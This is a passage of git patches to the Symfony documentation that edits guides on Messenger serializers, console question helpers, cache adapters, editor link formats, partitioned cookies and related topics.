 1 file changed, 4 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 6b1a57b2eca..22c6ba11c73 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -74,10 +74,6 @@ as the value to the current URL:
 
     You can leverage the Twig function ``impersonation_path('thomas')``
 
-    .. versionadded:: 6.4
-
-        The ``impersonation_path()`` function was introduced in Symfony 6.4.
-
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass

From fa166323dbd137d0d984f1d96e4558484026c4b0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Oct 2023 13:23:55 +0100
Subject: [PATCH 4006/5766] [Messenger] Added message serializer section

---
 messenger.rst | 92 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 92 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 7190f063c35..f3c187bf2b2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2566,6 +2566,98 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+Message Serializer For Custom Data Formats
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is likely that you receive messages from other applications that are not
+exactly in the format you need. Not all applications will return a JSON message
+with ``body`` and ``headers`` fields. In this case, you'll need to
+create a new message serializer. This can be done by implementing the
+:class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`.
+Let's say you want to create a message decoder::
+
+    namespace App\Messenger\Serializer;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\Transport\Serialization\SerializerInterface;
+
+    class MessageWithTokenDecoder implements SerializerInterface
+    {
+        public function decode(array $encodedEnvelope): Envelope
+        {
+            $envelope = \json_decode($encodedEnvelope, true);
+
+            try {
+                // parse the data you received with your custom fields
+                $data = $envelope['data'];
+                $data['token'] = $envelope['token'];
+
+                // other operations like getting information from stamps
+            } catch (\Throwable $throwable) {
+                // wrap any exception that may occur in the envelope to send it to the failure transport
+                return new Envelope($throwable);
+            }
+
+            return new Envelope($data);
+        }
+
+        public function encode(Envelope $envelope): array
+        {
+            // this decoder does not encode messages, but you can implement it by returning
+            // an array with serialized stamps if you need to send messages in a custom format
+            throw new \LogicException('This serializer is only used for decoding messages.');
+        }
+    }
+
+Now that this serializer is created, you can use it in your transport:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    my_transport:
+                        dsn: '%env(MY_TRANSPORT_DSN)%'
+                        serializer: 'App\Messenger\Serializer\MessageWithTokenDecoder'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="my_transport" dsn="%env(MY_TRANSPORT_DSN)%" serializer="App\Messenger\Serializer\MessageWithTokenDecoder">
+                        <!-- ... -->
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use App\Messenger\Serializer\MessageWithTokenDecoder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MY_TRANSPORT_DSN)%')
+                ->serializer(MessageWithTokenDecoder::class);
+        };
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 186885eb23007aa059ab784ad63fa995f507dd58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Oct 2023 16:42:28 +0100
Subject: [PATCH 4007/5766] [Messenger] Add mention of workers restarting with
 `supervisor`

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 7190f063c35..a0f6a3ba1ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -726,6 +726,10 @@ Next, tell Supervisor to read your config and start your workers:
 
     $ sudo supervisorctl start messenger-consume:*
 
+    # If you deploy an update of your code, don't forget to restart your workers
+    # to run the new code
+    $ sudo supervisorctl restart messenger-consume:*
+
 See the `Supervisor docs`_ for more details.
 
 Graceful Shutdown

From 5c7a1e68f7a69cf216294d7fff18557a40c2cf34 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
Date: Tue, 31 Oct 2023 14:38:27 +0100
Subject: [PATCH 4008/5766] Revert "Fix the installation instructions of
 symfony/psr-http-message-bridge"

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f6ad69b786b..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge:^2.3
+    $ composer require symfony/psr-http-message-bridge
 
 .. include:: /components/require_autoload.rst.inc
 

From ba5b823f7b4d39ea38e85817685d86a26814fc78 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 12:14:43 +0100
Subject: [PATCH 4009/5766] [Question helper] Add more accuracy on possible
 answers

---
 components/console/helpers/questionhelper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 7a78688e259..2ba340cdd8f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -52,7 +52,8 @@ the following to your command::
     }
 
 In this case, the user will be asked "Continue with this action?". If the user
-answers with ``y`` it returns ``true`` or ``false`` if they answer with ``n``.
+answers with ``y`` (or any word, expression starting with ``y`` due to default answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
+
 The second argument to
 :method:`Symfony\\Component\\Console\\Question\\ConfirmationQuestion::__construct`
 is the default value to return if the user doesn't enter any valid input. If

From a505d27adbb8b4938bf7a373033bcc47f80f4bf4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Nov 2023 14:43:20 +0100
Subject: [PATCH 4010/5766] -

---
 components/console/helpers/questionhelper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2ba340cdd8f..3ae4ea96b39 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -52,7 +52,8 @@ the following to your command::
     }
 
 In this case, the user will be asked "Continue with this action?". If the user
-answers with ``y`` (or any word, expression starting with ``y`` due to default answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
+answers with ``y`` (or any word, expression starting with ``y`` due to default
+answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``.
 
 The second argument to
 :method:`Symfony\\Component\\Console\\Question\\ConfirmationQuestion::__construct`

From 95ad8ec059871c1b8e17aeee596aeaa28e96e9e3 Mon Sep 17 00:00:00 2001
From: Van Truong PHAN <svd.phan@gmail.com>
Date: Tue, 31 Oct 2023 13:12:32 +0100
Subject: [PATCH 4011/5766] Add sleep to observe the changes in the terminal
 when executing the code.

Add sleep() to observe the changes in the terminal when executing the code

When I copy and execute the code in the terminal, it runs too quickly, and I don't see anything appearing on the terminal. I struggle for a moment to understand the behavior of the 'output section.'
---
 console.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console.rst b/console.rst
index bb445b6b148..96bcc5dfcfb 100644
--- a/console.rst
+++ b/console.rst
@@ -346,19 +346,23 @@ method, which returns an instance of
 
             $section1->writeln('Hello');
             $section2->writeln('World!');
+            sleep(1);
             // Output displays "Hello\nWorld!\n"
 
             // overwrite() replaces all the existing section contents with the given content
             $section1->overwrite('Goodbye');
+            sleep(1);
             // Output now displays "Goodbye\nWorld!\n"
 
             // clear() deletes all the section contents...
             $section2->clear();
+            sleep(1);
             // Output now displays "Goodbye\n"
 
             // ...but you can also delete a given number of lines
             // (this example deletes the last two lines of the section)
             $section1->clear(2);
+            sleep(1);
             // Output is now completely empty!
 
             return Command::SUCCESS;

From 4d6e960b8d75aa7359681de332104cadbb527479 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 15:22:59 +0100
Subject: [PATCH 4012/5766] [Question helper]  Add more accuracy from a list of
 answers

---
 components/console/helpers/questionhelper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3ae4ea96b39..bb8b3d959e2 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -113,8 +113,10 @@ Let the User Choose from a List of Answers
 
 If you have a predefined set of answers the user can choose from, you
 could use a :class:`Symfony\\Component\\Console\\Question\\ChoiceQuestion`
-which makes sure that the user can only enter a valid string
-from a predefined list::
+which makes sure that the user can only enter a valid string or the index
+of the choice from a predefined list. In the example below, typing ``blue``
+or ``1`` is the same choice for the user. A default value is set with ``0``
+but ``red`` could be set instead (could be more explicit)::
 
     use Symfony\Component\Console\Question\ChoiceQuestion;
 

From 62080d23a78ba3728684f02b262875a89202822c Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 1 Nov 2023 15:35:34 +0100
Subject: [PATCH 4013/5766] [Question helper] Add more accuracy on multiple
 choices answers

---
 components/console/helpers/questionhelper.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3ae4ea96b39..43443f5c295 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -183,6 +183,8 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
 Now, when the user enters ``1,2``, the result will be:
 ``You have just selected: blue, yellow``.
+The user can enter string: ``blue,yellow`` as well or even mix string and
+the index of the choice like ``blue,2``.
 
 If the user does not enter anything, the result will be:
 ``You have just selected: red, blue``.

From f22a72fd1785f6c6df83f6d927ac46d7c0e981a4 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 2 Nov 2023 08:10:08 +0100
Subject: [PATCH 4014/5766] [Filesystem] remove unused makeRelative example

---
 components/filesystem.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 70fdf10d63e..4fdcaf54b8f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -435,7 +435,7 @@ Especially when storing many paths, the amount of duplicated information is
 noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
 to check a list of paths for a common base path::
 
-    Path::getLongestCommonBasePath(
+    $basePath = Path::getLongestCommonBasePath(
         '/var/www/vhosts/project/httpdocs/config/config.yaml',
         '/var/www/vhosts/project/httpdocs/config/routing.yaml',
         '/var/www/vhosts/project/httpdocs/config/services.yaml',
@@ -444,17 +444,14 @@ to check a list of paths for a common base path::
     );
     // => /var/www/vhosts/project/httpdocs
 
-Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
-to shorten the stored paths::
-
-    $bp = '/var/www/vhosts/project/httpdocs';
+Use this path together to shorten the stored paths::
 
     return [
-        $bp.'/config/config.yaml',
-        $bp.'/config/routing.yaml',
-        $bp.'/config/services.yaml',
-        $bp.'/images/banana.gif',
-        $bp.'/uploads/images/nicer-banana.gif',
+        $basePath.'/config/config.yaml',
+        $basePath.'/config/routing.yaml',
+        $basePath.'/config/services.yaml',
+        $basePath.'/images/banana.gif',
+        $basePath.'/uploads/images/nicer-banana.gif',
     ];
 
 :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always

From 633c448719a26f442c10e60a88406c6be6a507f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Nov 2023 12:07:49 +0100
Subject: [PATCH 4015/5766] Re-add Valentine to the Symfony CARE Team

---
 contributing/code_of_conduct/care_team.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index f7f565a266f..316131e5e8f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -19,30 +19,37 @@ the CARE team or if you prefer contact only individual members of the CARE team.
 Members
 -------
 
-Here are all the members of the CARE team (in alphabetic order). You can contact
-any of them directly using the contact details below or you can also contact all
-of them at once by emailing ** care@symfony.com **.
+Here are all the members of the CARE team (sorted alphabetically by surname).
+You can contact any of them directly using the contact details below or you can
+also contact all of them at once by emailing ** care@symfony.com **.
 
 * **Timo Bakx**
 
   * *E-mail*: timobakx [at] gmail.com
   * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
   * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
-  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony.com/slack>`_
 
 * **Zan Baldwin**
 
   * *E-mail*: hello [at] zanbaldwin.com
   * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
-  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
+  * *SymfonySlack*: `@Zan <https://symfony.com/slack>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+  * *SymfonyConnect*: `valentineboineau <https://connect.symfony.com/profile/valentineboineau>`_
+  * *SymfonySlack*: `@Valentine <https://symfony.com/slack>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
-  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony.com/slack>`_
 
 About the CARE Team
 -------------------

From 3f2e4ef25baf7180ad19605b972bac0e997a867d Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+Jeroeny@users.noreply.github.com>
Date: Fri, 3 Nov 2023 09:09:56 +0100
Subject: [PATCH 4016/5766] Windows native support for phpstorm urls

---
 reference/configuration/framework.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c520650f191..68fac2392dd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -219,8 +219,8 @@ following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``
 
 .. note::
 
-    The ``phpstorm`` option is supported natively by PhpStorm on MacOS,
-    Windows requires `PhpStormProtocol`_ and Linux requires `phpstorm-url-handler`_.
+    The ``phpstorm`` option is supported natively by PhpStorm on MacOS and
+    Windows, Linux requires `phpstorm-url-handler`_.
 
 If you use another editor, the expected configuration value is a URL template
 that contains an ``%f`` placeholder where the file path is expected and ``%l``
@@ -311,6 +311,9 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     // example for PhpStorm
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
 
+    // example for PhpStorm with Jetbrains Toolbox
+    xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
+
     // example for Sublime
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
@@ -3770,7 +3773,6 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
 .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev

From 21aa7758bb1d5ddc30bc2fb19011d065aa3b30e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Nov 2023 11:52:39 +0100
Subject: [PATCH 4017/5766] Minor tweaks

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 68fac2392dd..127b42b23f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -219,8 +219,8 @@ following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``
 
 .. note::
 
-    The ``phpstorm`` option is supported natively by PhpStorm on MacOS and
-    Windows, Linux requires `phpstorm-url-handler`_.
+    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
+    Windows; Linux requires installing `phpstorm-url-handler`_.
 
 If you use another editor, the expected configuration value is a URL template
 that contains an ``%f`` placeholder where the file path is expected and ``%l``
@@ -314,7 +314,7 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     // example for PhpStorm with Jetbrains Toolbox
     xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
 
-    // example for Sublime
+    // example for Sublime Text
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::

From f3bfe3560ac1cdfdfb3f314cea58cef23f0cfe2e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Nov 2023 13:07:22 +0100
Subject: [PATCH 4018/5766] [Validator] Bring precisions on Valid constraint's
 groups

---
 reference/constraints/Valid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index ba4e789091c..c308a8eac93 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -297,6 +297,13 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. note::
+
+    Unlike other constraints, the ``Valid`` constraint does not use the ``Default``
+    group. This means that it will always be applied by default, **even** if you
+    specify a group when calling the validator. If you want to restrict the
+    constraint to a subset of groups, you have to define the ``groups`` option.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``traverse``

From 142ce5fd75a18f540245a72d91e84e714f7eb529 Mon Sep 17 00:00:00 2001
From: jmsche <jonathan.scheiber@wikipower.be>
Date: Mon, 6 Nov 2023 14:22:16 +0100
Subject: [PATCH 4019/5766] [Symfony CLI] Document the new docker_compose
 option

---
 setup/symfony_server.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index a12feb7a5c4..b4b416a2256 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -367,6 +367,9 @@ If you like some processes to start automatically, along with the webserver
         build_spa:
             cmd: ['yarn', '--cwd', './spa/', 'dev']
 
+        # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
+        docker_compose: ~
+
 .. _symfony-server-docker:
 
 Docker Integration

From fd72006881dd80a968042c981b0e3aac6e259339 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 6 Nov 2023 21:53:06 +0100
Subject: [PATCH 4020/5766] [Options Resolver] Using placeholder to use dynamic
 parameter

---
 components/options_resolver.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5f9cd2659a9..94b5ac5a9de 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -801,11 +801,14 @@ method::
         ->setDeprecated('hostname', 'acme/package', '1.2')
 
         // you can also pass a custom deprecation message (%name% placeholder is available)
+        // %name% placeholder will be replaced by the deprecated option.
+        // This outputs the following deprecation message:
+        // Since acme/package 1.2: The option "hostname" is deprecated, use "host" instead.
         ->setDeprecated(
             'hostname',
             'acme/package',
             '1.2',
-            'The option "hostname" is deprecated, use "host" instead.'
+            'The option "%name%" is deprecated, use "host" instead.'
         )
     ;
 
@@ -822,6 +825,10 @@ method::
     :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
     to not trigger the deprecation warning.
 
+.. note::
+
+    All deprecation messages are displayed in the profiler logs into Deprecations tab.
+
 Instead of passing the message, you may also pass a closure which returns
 a string (the deprecation message) or an empty string to ignore the deprecation.
 This closure is useful to only deprecate some of the allowed types or values of

From 9af5aee77bee6af48274512080ceff509f4e11cd Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 6 Nov 2023 22:41:54 +0100
Subject: [PATCH 4021/5766] [Cache] Remove invalid info about cache pool
 services

---
 cache.rst | 21 ++-------------------
 1 file changed, 2 insertions(+), 19 deletions(-)

diff --git a/cache.rst b/cache.rst
index 781e877d958..e8ae5c8525e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -128,8 +128,7 @@ The Cache component comes with a series of adapters pre-configured:
     logic to dynamically select the best possible storage based on your system
     (either PHP files or APCu).
 
-Some of these adapters could be configured via shortcuts. Using these shortcuts
-will create pools with service IDs that follow the pattern ``cache.[type]``.
+Some of these adapters could be configured via shortcuts.
 
 .. configuration-block::
 
@@ -140,15 +139,10 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine_dbal
                 default_doctrine_dbal_provider: 'doctrine.dbal.default_connection'
-                # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
-                # service: cache.redis
                 default_redis_provider: 'redis://localhost'
-                # service: cache.memcached
                 default_memcached_provider: 'memcached://localhost'
-                # service: cache.pdo
                 default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
@@ -164,13 +158,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
         >
             <framework:config>
-                <!--
-                default-doctrine-dbal-provider: Service: cache.doctrine_dbal
-                default-psr6-provider: Service: cache.psr6
-                default-redis-provider: Service: cache.redis
-                default-memcached-provider: Service: cache.memcached
-                default-pdo-provider: Service: cache.pdo
-                -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
                     default-doctrine-dbal-provider="doctrine.dbal.default_connection"
@@ -191,15 +178,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine_dbal
+
                 ->defaultDoctrineDbalProvider('doctrine.dbal.default_connection')
-                // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
-                // Service: cache.redis
                 ->defaultRedisProvider('redis://localhost')
-                // Service: cache.memcached
                 ->defaultMemcachedProvider('memcached://localhost')
-                // Service: cache.pdo
                 ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };

From a789e39a4b7edf727e0bf3cde24d1604ec62545f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 7 Nov 2023 08:37:04 +0100
Subject: [PATCH 4022/5766] -

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 94b5ac5a9de..e1d82c4df7e 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -827,7 +827,7 @@ method::
 
 .. note::
 
-    All deprecation messages are displayed in the profiler logs into Deprecations tab.
+    All deprecation messages are displayed in the profiler logs in the "Deprecations" tab.
 
 Instead of passing the message, you may also pass a closure which returns
 a string (the deprecation message) or an empty string to ignore the deprecation.

From 7ab6c816b9adfc6d4950f2994c3d8d47001c7cff Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 6 Nov 2023 23:14:14 +0100
Subject: [PATCH 4023/5766] [Cache] Fix PdoAdapter examples

---
 cache.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/cache.rst b/cache.rst
index e8ae5c8525e..0e449f2bb0d 100644
--- a/cache.rst
+++ b/cache.rst
@@ -143,7 +143,12 @@ Some of these adapters could be configured via shortcuts.
                 default_psr6_provider: 'app.my_psr6_service'
                 default_redis_provider: 'redis://localhost'
                 default_memcached_provider: 'memcached://localhost'
-                default_pdo_provider: 'pgsql:host=localhost'
+                default_pdo_provider: 'app.my_pdo_service'
+
+        services:
+            app.my_pdo_service:
+                class: \PDO
+                arguments: ['pgsql:host=localhost']
 
     .. code-block:: xml
 
@@ -164,17 +169,24 @@ Some of these adapters could be configured via shortcuts.
                     default-psr6-provider="app.my_psr6_service"
                     default-redis-provider="redis://localhost"
                     default-memcached-provider="memcached://localhost"
-                    default-pdo-provider="pgsql:host=localhost"
+                    default-pdo-provider="app.my_pdo_service"
                 />
             </framework:config>
+
+            <services>
+                <service id="app.my_pdo_service" class="\PDO">
+                    <argument>pgsql:host=localhost</argument>
+                </service>
+            </services>
         </container>
 
     .. code-block:: php
 
         // config/packages/cache.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -183,7 +195,12 @@ Some of these adapters could be configured via shortcuts.
                 ->defaultPsr6Provider('app.my_psr6_service')
                 ->defaultRedisProvider('redis://localhost')
                 ->defaultMemcachedProvider('memcached://localhost')
-                ->defaultPdoProvider('pgsql:host=localhost')
+                ->defaultPdoProvider('app.my_pdo_service')
+            ;
+
+            $container->services()
+                ->set('app.my_pdo_service', \PDO::class)
+                ->args(['pgsql:host=localhost'])
             ;
         };
 

From 16739375688eeb4232c5de97258c3d05e9c9a221 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 7 Nov 2023 14:59:47 +0100
Subject: [PATCH 4024/5766] [HttpFoundation] Cookies Having Independent
 Partitioned State (CHIPS)

---
 components/http_foundation.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 67417ad81fe..88af1ff02cf 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -531,6 +531,21 @@ a new object with the modified property::
         ->withDomain('.example.com')
         ->withSecure(true);
 
+It is possible to define partitioned cookies, also known as `CHIPS`_, by using the
+:method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned` method::
+
+    $cookie = Cookie::create('foo')
+        ->withValue('bar')
+        ->withPartitioned();
+
+    // you can also set the partitioned argument to true when using the `create()` factory method
+    $cookie = Cookie::create('name', 'value', partitioned: true);
+
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned`
+    method was introduced in Symfony 6.4.
+
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -982,3 +997,4 @@ Learn More
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674
 .. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results
+.. _`CHIPS`: https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies

From f5e530bc914c26d4b029ffc5584e21caca149d98 Mon Sep 17 00:00:00 2001
From: Rachid Hammaoui <37940572+makmaoui@users.noreply.github.com>
Date: Tue, 7 Nov 2023 22:12:42 +0100
Subject: [PATCH 4025/5766] Improve handler options description

---
 messenger.rst | 30 ++++++++++++++++++++----------
 1 file changed, 20 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index dd71d42649f..ad15417aee5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2016,11 +2016,16 @@ You can configure your handler by passing options to the attribute::
 
 Possible options to configure with the attribute are:
 
-* ``bus``
-* ``fromTransport``
-* ``handles``
-* ``method``
-* ``priority``
+============================  ====================================================================================================
+Option                        Description
